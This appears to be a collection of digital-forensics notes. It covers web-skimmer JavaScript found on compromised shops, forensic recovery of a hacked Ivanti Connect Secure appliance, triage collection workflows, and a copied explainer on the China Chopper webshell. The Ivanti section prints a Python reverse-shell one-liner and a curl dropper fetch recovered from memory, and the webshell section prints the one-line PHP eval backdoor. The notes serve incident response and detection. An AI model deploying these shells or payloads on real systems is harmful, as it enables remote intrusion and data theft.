TL;DR - User visits a website, the website has been compromised (either directly modified via hosting account, site content manager etc) or exploited plugin, the JavaScript executes in the browser, and establishes a websocket with a remote host.

<figure><img src="/files/QdIWegGpl1wKQ18NRNF4" alt=""><figcaption></figcaption></figure>

Selecting 'cart/:556' takes us to Debugger > Thread, and then displays line 556.

<figure><img src="/files/YLajtj7D5A8F2JiXmMSu" alt=""><figcaption></figcaption></figure>

We can quickly see 'const pdng' which looks rather suspicious.&#x20;

A quick CyberChef operation converting from decimal and XOR'ing each value by 42 (value of tsn), gives us our websocket host

<figure><img src="/files/qjJPCcv3Gs3kTb4nFCLb" alt=""><figcaption></figcaption></figure>

### How could this happen?

1. Website is outdated, plugin/code/something else is exploited, code is injected.
2. Website (WordPress & Woocommerce) login has been compromised, code is injected.
3. Website's hosting account has been compromised and code has been injected on each page.

## Website 2 - Malicious Google Tag Manager (GTM) containers

TL;DR - User visits a website, the website loads a Google Tag which contains malicious JavaScript, JavaScript is executed client side, opens a websocket with a remote host and upon each action (entering a field, submitting a page, etc) credentials are sent via the socket.&#x20;

Let's start with some basics.&#x20;

What is Google Tag Manager? It's a standalone platform which allows you to manage Google Tags. Google Tags are pieces of code which are embedded on your site, allows you to track analytics and metrics, ad performance<sup>\[1]</sup>, but importantly.. triggers actions.

### What does a legitimate tag look like?

Here's what the default code for a tag looks like.

<figure><img src="/files/Gyg76oyErB7aOsLwsfay" alt=""><figcaption></figcaption></figure>

After you enter this on the parent page (or each page you want to monitor/embed actions into), you can define actions and variables in Google Tag Manager. In this example, we've created a tag, defined custom HTML/JS, and it will be embedded/triggered on each page during initialisation.

<figure><img src="/files/QFhJp65wTniQWhgCwoeS" alt="" width="563"><figcaption></figcaption></figure>

### The victim's website

This is what the initial request would look like for a standard user, when browsing the victim's site.

User visits website > Site calls remote Google Tag/Javascript > Script is loaded into browser > executed

<figure><img src="/files/N9FaKoAfrPvRyJydFccE" alt=""><figcaption></figcaption></figure>

Selecting 'line 582 > injectedScript' in inspection tools, we can identify the first stage of the originating script. This takes us to the debugging function in the console.

We can quickly see the embedded JavaScript embedded as a variable inside the Google Tag Container.

<figure><img src="/files/xHS13NWTurpfz0irLvce" alt=""><figcaption></figcaption></figure>

The original snippet on the page which calls the actual GTM script.

<figure><img src="/files/djkKG7x2vXsalOew23EX" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/PyH1Xs7L4Xh0cDecXgKx" alt=""><figcaption></figcaption></figure>

What's interesting is the two consts which are defined, but then window\.ww calls "mefz ⇒ mefz ^ pteo" - is this an XOR operation? We can run a quick XOR operation in CyberChef to check.

First we enter our string of numbers (including commas) from itl. We want to convert this from decimal, and then apply our XOR function (using the value of pteo = 42).

<figure><img src="/files/qdqEsLPZWIVfvYuQBxaC" alt=""><figcaption></figcaption></figure>

### How could this happen?

Without knowing much more about the website, there would be a few attack paths;

1. Website is outdated, plugin/code/something else is compromised, GTM code is injected
2. Website's actual Google Analytics/Tag Manager account is compromised, and a malicious tag has been created/uploaded.
3. Website's hosting account has been compromised, website pages/content management system has been compromised, and GTM/JS snippet has been inserted on each page.

## So, who cares?

Card-not-present (CNP) fraud now makes up **92% of all card fraud in Australia**, costing **$785 million in FY24**<sup>\[2]</sup>

**FY24 Australian Payment Fraud Statistics**

[![](https://auspaynet.com.au/sites/default/files/2024-11/2024-TotalSpendOnAustralianIssuedCards.jpg)](https://auspaynet.com.au/sites/default/files/2024-11/2024-TotalSpendOnAustralianIssuedCards.jpg)

While domestic protections are improving, attackers are pivoting to overseas merchants, where fraud rates are more than **12x higher**. This matters because web-skimming and malicious JavaScript campaigns like Magecart are a primary enabler of these attacks.

We should care because the attack surface isn’t limited to “big targets.” Any vulnerable Magento, WordPress, or custom checkout can be weaponised. What we should be doing better;

1. Monitoring website source code/code bases for unauthorised changes.
2. Use Content Security Policy (CSP) and Subresource Integrity (SRI).
3. Routinely scan, update, patch, and harden platforms like Wordpress, Woocommerce, Magento etc.

The above can be achieved using a free Cloudflare plan, with added benefits like geo-filtering, CSP, web application firewall, etc.

\[1] <https://developers.google.com/tag-platform/tag-manager>

\[2] <https://auspaynet.com.au/insights/blog/Fy24Cardfraud>


# Ivanti Connect Secure Auth Bypass and Remote Code Authentication CVE-2024-21887

This article provides guidance on how to inspect/analyse disk images/memory from a virtual Ivanti Connect Secure appliance, in response to CVE-2023-46085 and CVE-2024-21887.

On 10th January 2024, Volexity posted an article\[1] advising they had identified active in-the-wild exploitation of two zero day vulnerabilities affecting Ivanti's Connect Secure (ICS) application.

On 12th January 2024, Mandiant also contributed to the public discussion and posted\[2] their article.

Based on the above articles, we deployed a vulnerable Ivanti Connect Secure appliance (v22.3R1, build 1647) to test publicly available proof of concepts to understand where artefacts may reside in order to support forensic analysis.

This article does not reference indicators of compromise. Please check blog posts by Volexity, Mandiant, and Rapid7. Please also follow mitigation advice by Ivanti\[7] and watchTowr\[8]

This article assumes you have a virtual appliance, you have followed your incident response process, and have preserved system snapshots (including memory dumps), and disk images.

(If you're performing this on Hyper-V or ESXi, just create a snapshot and export resultant virtual disks and vmem and copy them to your analysis environment).

**Inspecting Disk Image**

A single VMDK was subject to analysis. Unaware of the filesystem, we simply initially inspected the disk using FTK Imager on a Windows host. This indicated (as you can see in the photo) there are a series of partitions of various sizes, with varying filesystems. I immediately felt there were similarities between the ICS application and the Citrix ADC application, that being it is likely based on BSD/FreeBSD, but this required further digging.

<figure><img src="/files/TqtMFuOAdqS05sMf6TEg" alt=""><figcaption></figcaption></figure>

Expanding the 'unpartitioned space \[LVM2]' node indicated physical volume (pv) groups. Each folder contains relevant metadata and LVM configuration data, such as volume group ID, format, underlying partitions (which physical volume/partition they relate to).

<figure><img src="/files/PlL2NQkIYVWpSqoQsRC9" alt=""><figcaption></figcaption></figure>

Upon inspecting groupA-runtme, groupZ-home, etc, we could see indications that LUKS was being used. This throws a spanner in the works as we don't know any of the protectors. (If you need a refresher or some test disk images for LVM and LUKS, head over here >[ext4, LVM, and LUKS1/LUKS2](/general-notes-1/disk-images-for-various-filesystems-and-configurations/ext4-lvm-and-luks1-luks2)

So we have a virtual disk, it contains multiple partitions, they're of an unknown filesystem, we need a key to decrypt the LUKS volume and then we can reassemble it.&#x20;

A recent Blackhat\[3] resource authored by Orange Tsai and Meh Chang came in rather handy. If Orange's name is familiar, have a look at the history behind ProxyShell. Anyway, that article suggests that if you append **init=//bin/sh** to the grub bootloader, you can spawn a shell during boot. Added that, F10 to boot with new options, and we have a new shell.

<figure><img src="/files/tnRjjJjyhrT9iSHWLfyS" alt=""><figcaption><p>Modify grub boot options</p></figcaption></figure>

<figure><img src="/files/vfKewA9NkKuuGzvcM3zv" alt=""><figcaption><p>Dropped into a shell</p></figcaption></figure>

<figure><img src="/files/xFvQvPNO0ZmvlTo8jCkK" alt=""><figcaption></figcaption></figure>

We know lvm/mdadm config is usually in /etc so this is the first place we look. We see /etc/lvmkey, so let's see what it contains. Executing **$ cat lvmkey** distorts the screen, throws characters everywhere, and makes the terminal unusable. There are limited command line tools so there's no real way to copy the key, other than using cat.

<figure><img src="/files/6vRwtkTeJPSoxLvZln4y" alt=""><figcaption></figcaption></figure>

This Stackoverflow article\[4] provides a decoding table for the above values. This converts to b99ecf89754ec76018ca0eda5d6ac7. Next step is to convert that to a key file so we can use it to decrypt our LUKS volume. If this were a simple password, you could attempt to mount the volume and enter the password\[5]

Create a hex output of the key so we can use it as a keyfile;

```
$ echo -n b99ecf89754ec76018ca0eda5d6ac7 | xxd -r -p - > lvmkey
```

... which turns out to be incorrect, and the resultant lvmkey is incorrect.

It was about this time that we were provided with Rapid7's technical analysis\[6] which ultimately saved a lot of time, as we would've been going down a rabbit hole. The arguments originally used with cat (-v) wasn't sufficient, as there is a special character ($) at the beginning of the key. This is why there is a new line between the command and M-9. The **correct** key is 0ab99ecf89754ec76018ca0eda5d6ac7.

```
$ echo -n 0ab99ecf89754ec76018ca0eda5d6ac7 | xxd -r -p - > lvmkey
```

Now we need to either mount the VMDK inside the our VM, or attach it externally as a new disk.

```
$ lsblk
NAME    MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
sdc       8:32   0   40G  0 disk
├─sdc1    8:33   0 70.6M  0 part
├─sdc2    8:34   0 70.6M  0 part
├─sdc3    8:35   0 70.6M  0 part
├─sdc4    8:36   0    1K  0 part
├─sdc5    8:37   0    3G  0 part
├─sdc6    8:38   0    4G  0 part
├─sdc7    8:39   0  8.3G  0 part
├─sdc8    8:40   0    4G  0 part
├─sdc9    8:41   0  8.3G  0 part
├─sdc10   8:42   0  3.9G  0 part
└─sdc11   8:43   0  8.3G  0 part
```

Identify volume groups (vgs) and logical volumes (lvs) so we can attempt to mount them.

```
$ vgs
  VG     #PV #LV #SN Attr   VSize  VFree
  groupA   2   2   0 wz--n- 12.30g    0
  groupS   1   1   0 wz--n-  3.90g    0
  groupZ   1   1   0 wz--n-  3.00g    0
  
$ lvs
  LV      VG     Attr       LSize Pool Origin Data%  Meta%  Move Log Cpy%Sync Convert
  home    groupA -wi-a----- 3.50g
  runtime groupA -wi-a----- 8.80g
  swap    groupS -wi-a----- 3.90g
  home    groupZ -wi-a----- 3.00g
```

We need to activate each of the volume groups (groupA, S, Z) so we can map them (-a activates them, y is yes/confirm)

```
$ vgchange -ay groupA
  2 logical volume(s) in volume group "groupA" now active
$ vgchange -ay groupS
  1 logical volume(s) in volume group "groupS" now active
$ vgchange -ay groupZ
  1 logical volume(s) in volume group "groupZ" now active
```

Now we can see that partitions within our block device (/dev/sdc) are identified as LVM parts

```
$ lsblk
NAME               MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
sdc                  8:32   0   40G  0 disk
├─sdc1               8:33   0 70.6M  0 part
├─sdc2               8:34   0 70.6M  0 part
├─sdc3               8:35   0 70.6M  0 part
├─sdc4               8:36   0    1K  0 part
├─sdc5               8:37   0    3G  0 part
│ └─groupZ-home    253:3    0    3G  0 lvm
├─sdc6               8:38   0    4G  0 part
│ ├─groupA-home    253:0    0  3.5G  0 lvm
│ └─groupA-runtime 253:1    0  8.8G  0 lvm
├─sdc7               8:39   0  8.3G  0 part
│ └─groupA-runtime 253:1    0  8.8G  0 lvm
├─sdc8               8:40   0    4G  0 part
├─sdc9               8:41   0  8.3G  0 part
├─sdc10              8:42   0  3.9G  0 part
│ └─groupS-swap    253:2    0  3.9G  0 lvm
└─sdc11              8:43   0  8.3G  0 part
```

We can also see our logical volumes are visible under /dev/mapper

```
$ ls -l /dev/mapper
groupA-home -> ../dm-0
groupA-runtime -> ../dm-1
groupS-swap -> ../dm-2
groupZ-home -> ../dm-3
```

Confirming we can't mount each LVM part as it's protected by LUKS;

```
$ mount /dev/groupA/home /mnt/tmp
mount: /mnt/tmp: unknown filesystem type 'crypto_LUKS'.
```

Mount each /dev/mapper/group\* entry with a corresponding point name.

```
$ ls /dev/group*
/dev/groupA:
home  runtime

/dev/groupS:
swap

/dev/groupZ:
home

$ cryptsetup luksOpen -d lvmkey /dev/groupA/home ivanti1
$ cryptsetup luksOpen -d lvmkey /dev/groupA/runtime ivanti2
$ cryptsetup luksOpen -d lvmkey /dev/groupS/swap ivanti3
$ cryptsetup luksOpen -d lvmkey /dev/groupZ/home ivanti4
```

You can see how we've gone from raw block devices, to VG/LV, and now mounted points.

```
$ lsblk
NAME               MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINTS
sdc                  8:32   0   40G  0 disk
├─sdc1               8:33   0 70.6M  0 part
├─sdc2               8:34   0 70.6M  0 part
├─sdc3               8:35   0 70.6M  0 part
├─sdc4               8:36   0    1K  0 part
├─sdc5               8:37   0    3G  0 part
│ └─groupZ-home    253:3    0    3G  0 lvm
│   └─ivanti4      253:7    0    3G  0 crypt
├─sdc6               8:38   0    4G  0 part
│ ├─groupA-home    253:0    0  3.5G  0 lvm
│ │ └─ivanti1      253:4    0  3.5G  0 crypt
│ └─groupA-runtime 253:1    0  8.8G  0 lvm
│   └─ivanti2      253:5    0  8.8G  0 crypt
├─sdc7               8:39   0  8.3G  0 part
│ └─groupA-runtime 253:1    0  8.8G  0 lvm
│   └─ivanti2      253:5    0  8.8G  0 crypt
├─sdc8               8:40   0    4G  0 part
├─sdc9               8:41   0  8.3G  0 part
├─sdc10              8:42   0  3.9G  0 part
│ └─groupS-swap    253:2    0  3.9G  0 lvm
│   └─ivanti3      253:6    0  3.9G  0 crypt
└─sdc11              8:43   0  8.3G  0 part
```

We also have corresponding mapper entries under /dev/mapper for ivanti\[1..4]

```
$ ls /dev/mapper
ivanti1  ivanti2  ivanti3  ivanti4
```

Now we need to create a mount location, and then mount each LVM

<pre><code>$ mkdir /mnt/ivanti{1..4}
$ mount /dev/mapper/ivanti1 /mnt/ivanti1
$ mount /dev/mapper/ivanti2 /mnt/ivanti2
$ mount /dev/mapper/ivanti3 /mnt/ivanti3
$ mount /dev/mapper/ivanti4 /mnt/ivanti4

$ ls /mnt/ivanti1
boot  lost+found  root

$ ls /mnt/ivanti2
ace  cores  extra-sw  gs_files  local  lost+found  pkg  runtime  snmpconf  snmpd.spec.cfg  sysconf  tmp  upgradelogs  var  versions

$ ls /mnt/ivanti3
analytics.log                                dscsd.statementcounters             dsserver.statementcounters           iptable_checkResult                           sbrhealth
attackaudit-server.statementcounters         dsdashserver.statementcounters      dsserver-tasks.pl.statementcounters  iptable_result                                sbrnotify.exclusion
browse-server.statementcounters              dsdashsummary.statementcounters     dsstartfb.statementcounters          ive.ovfEnv                                    sbrnotify.statementcounters
cache_server.statementcounters               dsdbglogd.statementcounters         dsstartguacd.statementcounters       iveradius.exclusion                           scanner
cgi-errors                                   dsevntd.statementcounters           dsstartkwatchdog.statementcounters   libevntd.statementcounters                    sessionserver.statementcounters
cgi-server.statementcounters                 dsidpmonitor.statementcounters      dsstartnis.statementcounters         licenseMightHaveChanged.pl.statementcounters  smbconf.statementcounters
checkWinbinddProcesses.pl.statementcounters  dsinvoked.statementcounters         dsstartws.statementcounters          lmdbccerr                                     smbmon.statementcounters
cmdmmap.sMxNw2                               dsjavad.statementcounters           dsstatdump.statementcounters         namecoordinatord.statementcounters            startVmwareGuestd.pl.statementcounters
CpuStatus                                    dsksyslog.statementcounters         dssyslogfwd.statementcounters        nameserverd.statementcounters                 stats
dhcpProxy.statementcounters                  dslicenseclientd.statementcounters  dssyslogfwd_zmq_sock                 notification                                  svb
dhcpreq-ext0.log                             dsliveupdate.statementcounters      dssysmonitord.statementcounters      numlineevlog                                  tmp
dhcpreq-int0.log                             dslmdbcheck.statementcounters       dstaillog.statementcounters          out.log                                       Tncshealth
dmi-server.statementcounters                 dslogserver.statementcounters       dsterminald.statementcounters        parevntd.statementcounters                    tncs.statementcounters
dns_cache.statementcounters                  dsmdm.statementcounters             dsvlsHeartBeat.statementcounters     perl.statementcounters                        updateLinkLocalAddress.pl.statementcounters
dsacpiwatch.statementcounters                dsnetd.statementcounters            dswatchdogng.statementcounters       pssaml.statementcounters                      vmware-root
dsagentd.statementcounters                   dsnicsorter.statementcounters       EGG-INFO                             pushconfig.util                               watchdog.statementcounters
dsclusinfod.statementcounters                dsnodemon.statementcounters         eventd.statementcounters             pyeventhandler.statementcounters              web80.statementcounters
dscockpitd.statementcounters                 dspasschanged.statementcounters     fqdnacl.statementcounters            pythoneventhandler                            web.statementcounters
dsconfig.pl.statementcounters                dspushserver.statementcounters      have_many_opened_files               radius.statementcounters                      zeromq
dscpumond.statementcounters                  dsradiusacct.statementcounters      hsperfdata_root                      res_utilization
dscrld.statementcounters                     dssensord.statementcounters         html5acc-server.statementcounters    saml-metadata-server.statementcounters
<strong>
</strong><strong>$ ls /mnt/ivanti4
</strong>bin  boot  dbg  dev  etc  grub-2  lib  lost+found  mnt2  modules  pkg  proc  sbin  sys  tmp  usr  va
</code></pre>

We used Rapid7's public POC to simulate an attack on a new Ivanti appliance to generate artefacts, spawn a reverse shell, transfer files to a remote host, explore the file system, etc.

At the time of this article, we were only able to find memory resident artefacts relating to the shell itself and possible commands.&#x20;

**Possible Artefact Locations**

<table><thead><tr><th width="313">Location</th><th>Contents</th></tr></thead><tbody><tr><td>ivanti2/runtime/logs/log.admin.vc0</td><td>Console logins from foreign/remote IP addresses, user-agent data, username information, ICS appliance SSL information </td></tr><tr><td>ivanti2/runtime/logs/log.events.vc0</td><td>As above</td></tr><tr><td>ivanti2/runtime/system.j</td><td>Remote IP address entries relating to incoming connections</td></tr><tr><td></td><td></td></tr></tbody></table>

Relevant Memory Strings (if you don't have a volatility profile)

```
python -c import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())
/home/perl5/bin/perl /home/perl/AwsAzureTestConnection.pl ;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",4444));subprocess.call(["/bin/sh",
/bin/sh


```

Remember if you're using grep/strings, use -A (after) and -B (before) to show X number of lines before/after a match. (PID 4753, 4756 below)

```
--
 2958  2722  0.3  0.6 98836 186616 55684 S radius -debug -d.
 2997     1  0.0  0.0   696   9184   400 S smbserver
 2998  2997  0.0  0.0  1496  10008  4416 S smbserver
 4132  2186  0.0  0.5  6820  76732 43596 S /home/ecbuilds/int-rel/sa/22.3/bld1647.1/install/bin/saml-server ssoservice --dspar 27 98
 4133  4132  0.0  0.2  6820  76732 22988 S /home/ecbuilds/int-rel/sa/22.3/bld1647.1/install/bin/saml-server ssoservice --dspar 27 98
 4753  2852  0.0  0.0   452   4852  3744 S /bin/sh -c /home/perl5/bin/perl /home/perl/AwsAzureTestConnection.pl ;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",4444));subprocess.call(["/bin/sh",
 4756  4753  0.0  0.1  2296   9532  8208 S python -c import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())
 4757  4756  0.0  0.0   460   4860  3848 S /bin/sh -i
 4762     2  0.0  0.0     0      0     0 I [kworker/u8:2]
 6510  2320  0.0  0.2  5308  60356 23548 S /home/ecbuilds/int-rel/sa/22.3/bld1647.1/install/bin/parevntd
 6543     2  0.0  0.0     0      0     0 I [kworker/u8:0]
--

/perl5/bin/somereallybadcommand
/perl5/bin/curl -ik https://remoteurl.xyz/dropper
```

References:

\[1] Volexity; <https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/>

\[2] Mandiant; <https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day>

\[3] Blackhat; <https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf>

\[4] <https://stackoverflow.com/questions/44694331/what-is-the-m-notation-and-where-is-it-documented/44952259#44952259>

\[5] <https://www.howtoforge.com/automatically-unlock-luks-encrypted-drives-with-a-keyfile>

\[6] <https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis>

\[7] Ivanti; <https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US>

\[8] watchTowr; <https://labs.watchtowr.com/welcome-to-2024-the-sslvpn-chaos-continues-ivanti-cve-2023-46805-cve-2024-21887/>

NIST; CVE-2023-46085; <https://nvd.nist.gov/vuln/detail/CVE-2023-46805>

NIST; CVE-2024-21887; <https://nvd.nist.gov/vuln/detail/CVE-2024-21887>


# VirusTotal & hash lists

We'll take UAC's md5 hash output and query VirusTotal's API to search for malicious binaries.

If you execute UAC and select an appropriate profile (like full, or ir\_triage) you'll have a list of hashes of executables which were running at the time of acquisition. Within process folder within live\_response, you'll hash\_running\_process.md5 and .sha1

Edit those and strip the first column. If you're using Notepad++, you can just open the file, press Alt + Shift and select the second column and delete it. Save this as a new file, called process.md5 (you need the original listing to identify the process and map it back to pstree/cmd).

1. Download VirusTotal search from Didier Stevens' website (<https://blog.didierstevens.com/programs/virustotal-tools/>)
2. Fetch an API key from VirusTotal (free for small volume queries)
3. Make sure you have Python2.7 installed
4. Execute the following command

```
$ python2.7 virustotal-search.py -k APIKEY hashes.md5
```

This will display the results via the console, as well as save it as a CSV file.

![](/files/XK7YvxdopTRvRXVU8A7B)


# Unix-like Artifacts Collector (UAC)

{% embed url="<https://github.com/tclahr/uac/releases>" %}


# Setup MinIO (object storage)

We'll setup a server using MinIO and generate a pre-signed URL using the Python SDK so we can upload a triage collection.

I personally run MinIO in a Docker container and manage it with Portainer, however for this example we're going to use the Linux binaries for a quick proof of concept.

**Download MinIO binary**

{% embed url="<https://min.io/download#/linux>" %}

```
wget https://dl.min.io/server/minio/release/linux-amd64/minio
chmod +x minio
MINIO_ROOT_USER=admin MINIO_ROOT_PASSWORD=password ./minio server /mnt/data --console-address ":9001"
```

The above series of commands downloads the minio executable, sets the executable flag (+x) and then executes it. The username/password are set as environment variables and passed to the executable. The executable is executed to run a server, with its data store at **/mnt/data**. The console address is not set (the blank part before :9001 indicates it's not set). The console port is set to 9001. **Note:** port 9000 is used for the API, port 9001 is used for the web interface.

To take this a step further (if you were going to run this in a production environment), you would perform the following steps on your MinIO **server**.

```
sudo apt install certbot
sudo mkdir /path/to/minio-datastore
sudo certbot certonly --manual --preferred-challenges dns --debug-challenges -d minio.yourdomain.com.au
(run through the process of setting your subdomain's TXT record for validation)

Default location for minio data is /root/.minio
Default location for minio certs is /root/.minio/certs

sudo cp /etc/letsencrypt/live/minio.yourdomain.com.au/fullchain.pem public.crt
sudo cp /etc/letsencrypt/live/minio.yourdomain.com.au/privkey.pem private.key
(minio requires your cert and private key to be named as the default values)

./minio server /path/to/minio-datastore --console-address "minio.yourdomain.com.au:9001" --address "minio.yourdomain.com.au:9000"
```

The above commands will generate an SSL certificate using LetsEncrypt\
You'll copy them to MinIO's certificates directory and rename them\
You'll execute MinIO as a server and specify the appropriate addresses. If you don't set the hostname, since your server's IP address is not set as a Subject Alternative Name (SAN), MinIO will throw errors. This is fine for browsing the web UI, but if you're going to run something like UAC (which we'll do shortly) you'll see that it won't verify and it'll cause issues.

You also need the MinIO client on your client workstation (where you want to administer buckets, users, permissions, and to ultimately generate a pre-signed URL).

```
$ wget https://dl.min.io/client/mc/release/linux-amd64/mc
$ chmod +x mc
$ mc alias set myminio/ http://MINIO-SERVER admin password
```

Browse to the web console (<https://minio.yourdomain.com.au:9001>) and select Buckets.\
Create a bucket and give it an appropriate name, my-bucket in this example.

We want to make sure our minio client is working via the command line first.

```
user@host:/home/user# mc ls minio
[2022-04-25 10:56:00 AEST]     0B my-bucket/
```

Replace 'minio' with the alias you set above (if you didn't use minio).

If you uploaded a test file to the bucket using the web interface, you can check whether it's visible using the mc client;

```
user@host:/home/user# mc ls minio/my-bucket
[2022-04-25 11:35:22 AEST] 234MiB STANDARD my-object
```

To summarise, we've deployed a MinIO server, encrypted communication with TLS, and we've created a test object. We've configured the MinIO client and verified we have visibility to the bucket called 'my-bucket'.


# Create S3 pre-signed URL

We'll setup a server using MinIO and generate a pre-signed URL using the Python SDK so we can upload a triage collection.

Next step is to generate a pre-signed URL so we can upload data to it.

Review the MinIO Python SDK here: <https://docs.min.io/docs/python-client-api-reference.html>

The example code we're going to use is  **get\_presigned\_url.py** from <https://github.com/minio/minio-py/blob/master/examples/get_presigned_url.py>

You'll need Python3, and the minio library

```
$ sudo apt install python3-pip
$ pip3 install minio
```

Edit this python script in your favourite editor.

```
from minio import Minio

client = Minio(
    "minio.yourdomain.com.au:9000",
    access_key="default_username",
    secret_key="default_password",
    secure=True,
)
```

If you're still using the default credentials we set earlier (minioadmin/minioadmin) then enter those here. It's obviously best practice to not use the default credentials.

```
$ python3 get_presigned_url.py
```

If the script executed successfully without errors, you'll have three URLs printed on the screen. We're interested in the second URL as this is what we'll be using to upload our data using UAC. If you don't have a need for the other two URLs and intend to administer objects manually via the web interface, then comment out the other two DELETE/GET URL generation sections.

The name of the object created with this URL is 'my-object'. If you want a custom name, you'll need to edit the python script and change 'my-object' to something else. Likewise, if you want to store data in a different bucket, replace 'my-bucket' with another name. If you were using this in production you'd prompt for the desired values to store client data in specific buckets, with specific names.

You should have a pre-signed URL which looks similar to the following;

```
https://minio.yourdomain.com.au:9000/my-bucket/my-object?response-content-type=application%2Fjson&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=[redacted]
```

You've now generated a pre-signed URL using MinIO's python SDK, and you're ready to upload your UAC collection.


# UAC and pre-signed URLs

UAC 2.2.0 is currently in pre-release (as of the 25th April 2022) however it should be released shortly.

UAC collects the desired artefacts and stores them in your specified location. For example, the following command executes UAC with root privileges, executes the contents of the ir\_triage profile, and stores the output in /destination/folder.

```
$ sudo ./uac -p ir_triage /destination/folder
```

The operator has to then collect the output file (.tar.gz and .log) from the destination folder and copy it to either another machine for analysis.

A more streamlined workflow would involve collection your triage data and uploading it to a remote host using a pre-signed URL. If we use the signed URL we generated previously, our command would look like this;

```
$ sudo ./uac -p ir_triage /destination/folder --s3-presigned-url "https://minio.yourdomain.com.au:9000/my-bucket/my-object?response-content-type=application%2Fjson&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=[snip]"
```

Note: make sure the URL is encapsulated.

UAC will execute, collect the desired artefacts, store the output in /destination/folder submit a POST request to your signed URL. You'll end up with a file called 'my-object' stored inside 'my-bucket'. You'll need to rename this after downloading it (to the original name like uac-hostname-kernel-YYYYmmddsssssss.tar.gz"

If you want the local files to be deleted after a successful transfer, append the following;

```
$ sudo ./uac -p ir_triage /destination/folder --delete-local-on-successful-transfer --s3-presigned-url "https://MY-URL"
```


# Acquiring Linux VPS via SSH

Scenario: compromised VPS instance (through a provider such as BinaryLane, Linode, Vultr, etc) which is no longer live, and requires remote acquisition for examination/analysis.

In this scenario we're acquiring an image of an entire virtual disk over SSH, using the Finnix Recovery CD provided by BinaryLane through their VPS management portal.

Libewf is not available via the default repositories, and hasn't been compiled/installed in this example.&#x20;

1. Prepare remote host for acquisition by rebooting into Finnix Recovery CD.

![](/files/ZeWgqUrbGwHIuKoDBOaU)

2\. Select 64bit (or appropriate architecture type) and wait for console to appear.

![](/files/ZF3lcP0svAXFN2mAMngq)

3\. Identify local disk you wish to acquire

```
$ fdisk -l
```

![](/files/7QIrAqmdV7KdqSYZG252)

4\. Enable root login via SSH

```
$ nano /etc/ssh/sshd_config

# PermitRootLogin yes
```

5\. Restart SSH

```
$ /etc/init.d/ssh restart
```

6\. Acquire via SSH

Note: If you're using WSL/WSL2, you may need to install dd (if it's not installed already) which is a part of the **coreutils** package.

```
$ ssh root@remoteIP "dd if=/dev/vda" | dd of=filename.dd
OR with compression
$ ssh root@remoteIP "dd if=/dev/vda | gzip -1 -" | dd of=filename.gz
```


# AVML dump to SMB / AWS

**Scenario**

You have a potentially compromised Linux EC2 instance sitting inside an Amazon VPC. You cannot expose the VPC to the greater internet for acquisition. You need to acquire the memory on the Linux EC2 host. You do not know what operating system or kernel is running on it.

1. Setup secure Windows SMB destination host &#x20;
2. Setup inbound RDP and SMB security group rules on Windows destination host &#x20;
3. Create shared folder with read/write for specific user (pick a user) &#x20;
4. Determine whether smbclient or cifs-utils is installed on EC2 instance &#x20;
5. Download AVML onto Linux host &#x20;

```
$ sudo mount -t cifs -o user=administrator \\\\windowsIP\\sharename /mnt/point  
$ wget https://github.com/microsoft/avml/releases/download/v0.2.0/avml
$ chmod +x avml  
$ sudo ./avml /mnt/point/EC2memdump.mem  
or  
$ sudo ./avml EC2memdump.mem && sudo mv EC2memdump.mem /mnt/point/`
```


# China Chopper webshell

Copied from Andrea Fortuna's website; <https://www.andreafortuna.org/2018/03/28/what-is-the-china-chopper-webshell-and-how-to-find-it-on-a-compromized-system/>

## What is the China Chopper Webshell, and how to find it on a compromised system?

March 28, 2018

Some days ago, during a chat with a friend who works in a small software development company, the webshells topic has come up.

During the migration of a production system, my friend found some suspicious **.php** files, which turned out to be **China Chopper webshells**.

**A simple software upgrade turned into a cybersecurity nightmare.**

### What is China Chopper?

**China Chopper** is a **4KB** Web shell first discovered in **2012**.

It is widely used by Chinese and other malicious actors, including **APT** groups, to remotely access compromised Web servers.

The webshell consists mainly of two parts, the client interface (**caidao.exe**) and a small file placed on the compromised web server.

#### Why this webshell is so dangerous and hard to find?

The file dropped on the compromised server is really small.\
&#x20;For example, the **PHP** version (the file found by my friend) is composed by a single line of code:

```
<?php @eval($_POST['password']);?>
```

Also with a limited acces to the compromized host, is very simple for an attacker to push this small code into a file.

So, all the logic is delegated to the client (**caidao.exe**) that communicates directly with the file dropped on webserver and provides a lot of interesting feature, like a **File explorer**, a **DataBase client,** an **interactive command shell** and a **“Security Scan”** useful to perform brute-force password guessing against authentication portals.

An analysis of **caidao.exe** is available here: <https://www.hybrid-analysis.com/sample/be24561427d754c0c150272cab5017d5a2da64d41bec74416b8ae363fb07fd77?environmentId=100>

The China Chopper can run on any web server that is capable of running **JSP**, **ASP**, **ASPX**, **PHP**, or **CFM**, on both **Windows** and **Linux**.

Due to the size of the malware’s payload, delivery mechanism can be very flexible, for example:

* WebDAV file upload
* **JBoss jmx-console** or **Apache Tomcat** management pages
* Cross-site scripting (**XSS**)
* **SQL** injection
* Vulnerabilities in applications/services
* File processing vulnerabilities
* Remote file include (**RFI**) and local file include (**LFI**) vulnerabilities
* Lateral propagation from other access

**This OS and application flexibility makes this an even more dangerous Web shell.**

### How can i detect this webshell on my webserver?

